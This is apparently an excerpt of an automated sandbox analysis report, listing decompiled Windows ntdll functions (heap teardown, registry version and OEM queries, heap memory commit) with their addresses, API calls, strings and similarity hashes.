Control Panel\Desktop, xrefs: 6CEBCFBB
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6CEBD072
Control Panel\Desktop\MuiCached, xrefs: 6CEBCFDB
@, xrefs: 6CEBD0A7

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: a9178f933836368474d8279d1f96312423e869ee8de647c0337f210bd87df19b
Instruction ID: 6c3a1cafb0edd54640a95ee745b4c524b4c7068cbfa630d2b11e303abe509f52
Opcode Fuzzy Hash: a9178f933836368474d8279d1f96312423e869ee8de647c0337f210bd87df19b
Instruction Fuzzy Hash: F05163B28087059FD311CF15D98099FB7F8BB89758F104A2EF998A7614D734DA09CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE02FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6CE02FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6cefd360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6cef8748 - 2;
					if( *0x6cef8748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6CE0B150();
						} else {
							E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6CE0B150();
						__eflags =  *0x6cef7bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6CEC2073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6CE4B640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6CEACB1E(_t138, _t159, 0, 8, 0);
					}
					E6CE031B0(_t125, _t159, _t155);
					E6CEC274F(_t159);
					_t155 = 1;
					E6CE31249(_t159, 1, 0, 0);
					E6CECB581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6cef5718; // 0x0
					 *0x6cefb1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6CEACB1E(_t144, _t159, 0, 8, 0);
				}
				E6CE031B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6CEC3518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6CE31249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6CE3174B( &_v96,  &_v100, 0x8000);
							_t88 = E6CE27D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6CEBFE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6CE3174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6CE3174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6CE03138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6CE27D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6CE27D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6CE49AE0();
								}
							}
							_t104 = E6CE27D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6CE27D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6CE49AE0();
							}
							if(E6CE27D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6CEBFDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6ce02fb8
0x6ce02fc2
0x6ce02fc6
0x6ce02fc9
0x6ce02fce
0x6ce5fb7d
0x6ce5fb84
0x6ce5fb8a
0x6ce5fb90
0x6ce5fb94
0x6ce5fbb3
0x6ce5fbb8
0x6ce5fb96
0x6ce5fbab
0x6ce5fbb0
0x6ce5fbbe
0x6ce5fbc3
0x6ce5fbc8
0x6ce5fbd0
0x6ce5fbd8
0x6ce5fbd9
0x6ce5fbd9
0x6ce5fbd0
0x6ce030ea
0x6ce030ea
0x6ce030ec
0x6ce030f0
0x6ce030f1
0x6ce030f2
0x6ce030fd
0x6ce030fd
0x6ce02fdb
0x6ce5fbe3
0x6ce5fbea
0x6ce5fbed
0x6ce0312b
0x6ce0312b
0x00000000
0x6ce0312b
0x6ce5fbf3
0x6ce5fbf8
0x6ce5fbfa
0x6ce5fc00
0x6ce5fc02
0x6ce5fc02
0x6ce5fc09
0x6ce5fc10
0x6ce5fc1b
0x6ce5fc1c
0x6ce5fc23
0x00000000
0x6ce5fc23
0x6ce02fe8
0x6ce5fc2d
0x6ce5fc36
0x6ce5fc3c
0x00000000
0x6ce5fc3c
0x6ce02fee
0x6ce02ff5
0x6ce5fc47
0x6ce5fc49
0x6ce5fc49
0x6ce02ffd
0x6ce03009
0x6ce5fc53
0x6ce5fc5a
0x00000000
0x00000000
0x6ce5fc62
0x6ce5fc67
0x6ce5fc69
0x00000000
0x00000000
0x00000000
0x6ce0300f
0x6ce0300f
0x6ce03018
0x00000000
0x6ce0301e
0x6ce03024
0x6ce03025
0x6ce0302a
0x6ce03030
0x6ce03032
0x6ce5fc74
0x6ce5fc76
0x6ce5fc7a
0x6ce5fc81
0x6ce5fc8f
0x6ce5fc93
0x6ce5fc98
0x6ce5fc9d
0x6ce5fc9f
0x6ce5fcb1
0x6ce5fca1
0x6ce5fcaa
0x6ce5fcaa
0x6ce5fcb6
0x6ce5fcb9
0x6ce5fcbf
0x6ce5fcc5
0x6ce5fcc5
0x6ce5fcca
0x6ce5fcca
0x6ce03041
0x6ce03100
0x6ce03047
0x6ce03047
0x6ce03047
0x6ce0304b
0x6ce0310b
0x6ce0310f
0x6ce0311c
0x6ce03121
0x6ce03121
0x6ce03051
0x6ce03059
0x6ce5fcde
0x6ce5fce3
0x6ce5fce5
0x6ce5fcea
0x6ce5fcea
0x6ce03063
0x6ce03075
0x6ce03075
0x00000000
0x6ce0307b
0x6ce03081
0x6ce03086
0x6ce0308d
0x00000000
0x6ce0308f
0x6ce0308f
0x6ce03094
0x6ce030a0
0x6ce5fcfa
0x6ce030a6
0x6ce030a6
0x6ce030a6
0x6ce030ab
0x6ce5fd01
0x6ce5fd07
0x6ce5fd0e
0x6ce5fd14
0x6ce5fd19
0x6ce5fd1b
0x6ce5fd26
0x6ce5fd26
0x6ce5fd26
0x6ce5fd2f
0x6ce5fd38
0x6ce5fd39
0x6ce5fd3b
0x6ce5fd43
0x6ce5fd44
0x6ce5fd48
0x6ce5fd48
0x6ce5fd0e
0x6ce030b1
0x6ce030b6
0x6ce030c2
0x6ce5fd5b
0x6ce030c8
0x6ce030c8
0x6ce030c8
0x6ce030cd
0x6ce5fd62
0x6ce5fd67
0x6ce5fd69
0x6ce5fd74
0x6ce5fd74
0x6ce5fd74
0x6ce5fd7d
0x6ce5fd86
0x6ce5fd87
0x6ce5fd89
0x6ce5fd91
0x6ce5fd92
0x6ce5fd96
0x6ce5fd96
0x6ce030da
0x6ce5fda9
0x6ce030e0
0x6ce030e0
0x6ce030e0
0x6ce030e8
0x6ce03131
0x6ce03131
0x00000000
0x6ce030e8
0x6ce0308d
0x6ce03018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6CE03070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6CE0308F
RtlGetCurrentServiceSessionId.1105 ref: 6CE030B1
RtlGetCurrentServiceSessionId.1105 ref: 6CE030D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6CE5FBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6CE5FBC3
RtlDebugPrintTimes.1105(?), ref: 6CE5FC36

Part of subcall function 6CE031B0: RtlAcquireSRWLockExclusive.1105(6CEF8660,?,00000000,6CE5FC0E), ref: 6CE031BC
Part of subcall function 6CE031B0: RtlReleaseSRWLockExclusive.1105(6CEF8660,6CEF8660,?,00000000,6CE5FC0E), ref: 6CE031CF

Strings

HEAP[%wZ]: , xrefs: 6CE5FBA6
HEAP: , xrefs: 6CE5FBB3
(HeapHandle != NULL), xrefs: 6CE5FBBE

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: 449ad7961460d83d5645d1da365457b70d22b60dab10d4b9eb28ff6ddaec5a8b
Instruction ID: 7a54fe999c0f261ce1d20105796802bce041dd4631c829e787717504f0af95ba
Opcode Fuzzy Hash: 449ad7961460d83d5645d1da365457b70d22b60dab10d4b9eb28ff6ddaec5a8b
Instruction Fuzzy Hash: B491213174AA009BD315CB24C884F6AB7B5BF8A70CF24455DE8408BB81DB39E869C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE065A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6CE065A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6cefd360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_push("true");
					_pop(_t112);
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6CE49600() >= 0) {
						if(E6CE066D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6CE495D0();
					}
					_v308 = 0x11c;
					E6CE34020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6CE4A9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6CE49600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6CE066D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6CE495D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6CE4B640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6ce065a8
0x6ce065b5
0x6ce065bc
0x6ce065bf
0x6ce065c1
0x6ce065c6
0x6ce065ca
0x6ce065cd
0x6ce065d4
0x6ce619a6
0x6ce619a8
0x6ce619ab
0x6ce619b3
0x6ce619b7
0x6ce619b7
0x6ce619c2
0x6ce619c7
0x6ce619cb
0x6ce619cd
0x6ce619d6
0x6ce619de
0x6ce619e8
0x6ce619ec
0x6ce619ed
0x6ce619f6
0x6ce619fe
0x6ce619ff
0x6ce61a03
0x6ce61a0e
0x6ce61a25
0x6ce61a27
0x6ce61a27
0x6ce61a2b
0x6ce61a2f
0x6ce61a2f
0x6ce61a38
0x6ce61a41
0x6ce61a66
0x6ce61a6a
0x6ce61a6e
0x6ce61a71
0x6ce61a73
0x6ce61a76
0x6ce61a78
0x6ce61a78
0x6ce065dc
0x6ce065e7
0x6ce065ec
0x6ce065f0
0x6ce065f8
0x6ce06601
0x6ce06602
0x6ce06608
0x6ce0660d
0x6ce06612
0x6ce06613
0x6ce06618
0x6ce0661c
0x6ce0661c
0x6ce06620
0x6ce0663b
0x6ce06644
0x6ce06644
0x6ce0664f
0x6ce06654
0x6ce06658
0x6ce0665c
0x6ce06660
0x6ce06662
0x6ce0666b
0x6ce06673
0x6ce0667b
0x6ce0667c
0x6ce06685
0x6ce06689
0x6ce0668a
0x6ce06692
0x6ce06696
0x6ce066a1
0x6ce066b0
0x6ce066bc
0x6ce066d0
0x6ce066d0
0x6ce066be
0x6ce066c2
0x6ce066c2
0x6ce066a1
0x6ce06629
0x6ce0662a
0x6ce0662b
0x6ce06636

APIs

RtlInitUnicodeString.1105 ref: 6CE065F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6CE06613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6CE06662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6CE066C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6CE0669A

Part of subcall function 6CE49600: LdrInitializeThunk.NTDLL(6CE41119,?,?,00000018,?), ref: 6CE4960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6CE619CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6CE61A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6CE61A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6CE61A41

Strings

Kernel-OneCore-DeviceFamilyID, xrefs: 6CE065DE
@, xrefs: 6CE0668A
DeviceForm, xrefs: 6CE066B0
@, xrefs: 6CE619F6
UBR, xrefs: 6CE61A19
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6CE06646
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6CE619B9

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: a1da6f67285c54ed74c861f8fff5466bab93fb3f3e761f1ae444868f1725282e
Instruction ID: f88adf4ee684d5f1488f157361aaaf178f7c376280dc447bf63a6bbfdadb35fb
Opcode Fuzzy Hash: a1da6f67285c54ed74c861f8fff5466bab93fb3f3e761f1ae444868f1725282e
Instruction Fuzzy Hash: 6E5107B16083159FD310CF19D840A8BBBF8ABC8758F14892EF998D7750E731DA49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2A229, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 183
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6CE2A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E6CE2DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E6CE49730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E6CECA80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E6CE49660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E6CE0B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E6CE27D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E6CEC138A(_t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E6CE27D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E6CE27D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E6CEC1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E6CE27D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E6CE27D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E6CEC1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E6CE5D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x6ce2a229
0x6ce2a231
0x6ce2a23f
0x6ce2a242
0x6ce2a244
0x6ce2a24c
0x6ce2a255
0x6ce2a25a
0x6ce2a25f
0x6ce71c76
0x6ce71c78
0x6ce71c7e
0x6ce71c7f
0x6ce71c81
0x6ce71c82
0x6ce71c84
0x6ce71c89
0x6ce71c8b
0x6ce71c9e
0x6ce71c9e
0x6ce71cab
0x6ce71cb2
0x00000000
0x6ce71cb2
0x6ce71c8d
0x6ce71c92
0x00000000
0x00000000
0x6ce71c94
0x6ce71c98
0x00000000
0x00000000
0x00000000
0x6ce71c98
0x6ce2a265
0x6ce2a265
0x6ce2a266
0x6ce2a26f
0x6ce2a270
0x6ce2a276
0x6ce2a277
0x6ce2a279
0x6ce2a27e
0x6ce2a282
0x6ce71db5
0x6ce71dbb
0x6ce71dc1
0x6ce71dc5
0x6ce71de4
0x6ce71de9
0x6ce71dc7
0x6ce71ddc
0x6ce71de1
0x6ce71def
0x6ce71df3
0x6ce71df7
0x6ce71dfe
0x6ce71e06
0x6ce2a302
0x6ce2a308
0x6ce2a308
0x6ce2a288
0x6ce2a28d
0x6ce2a294
0x6ce71cc1
0x6ce2a29a
0x6ce2a29a
0x6ce2a29a
0x6ce2a29f
0x6ce71ccb
0x6ce71cd1
0x6ce71cd8
0x6ce71cea
0x6ce71cea
0x6ce71cd8
0x6ce2a2a9
0x6ce2a2af
0x6ce2a2bc
0x6ce71cfd
0x6ce2a2c2
0x6ce2a2c2
0x6ce2a2c2
0x6ce2a2c7
0x6ce71d07
0x6ce71d0d
0x6ce71d14
0x6ce71d1f
0x6ce71d21
0x6ce71d2c
0x6ce71d2c
0x6ce71d2c
0x6ce71d47
0x6ce71d47
0x6ce71d14
0x6ce2a2cd
0x6ce2a2d2
0x6ce2a2d9
0x6ce71d5a
0x6ce2a2df
0x6ce2a2df
0x6ce2a2df
0x6ce2a2e4
0x6ce71d69
0x6ce71d6b
0x6ce71d76
0x6ce71d76
0x6ce71d76
0x6ce71d91
0x6ce71d91
0x6ce2a2ea
0x6ce2a2f0
0x6ce2a2f5
0x6ce71da8
0x6ce71dad
0x6ce71dad
0x6ce2a2fd
0x6ce2a300
0x00000000

APIs

ZwAllocateVirtualMemory.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6CE2A279

Part of subcall function 6CE49660: LdrInitializeThunk.NTDLL(6CE918BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6CEE0810,0000001C,6CE91616), ref: 6CE4966A

RtlGetCurrentServiceSessionId.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6CE2A288
RtlGetCurrentServiceSessionId.1105 ref: 6CE2A2B5
RtlGetCurrentServiceSessionId.1105 ref: 6CE2A2CD
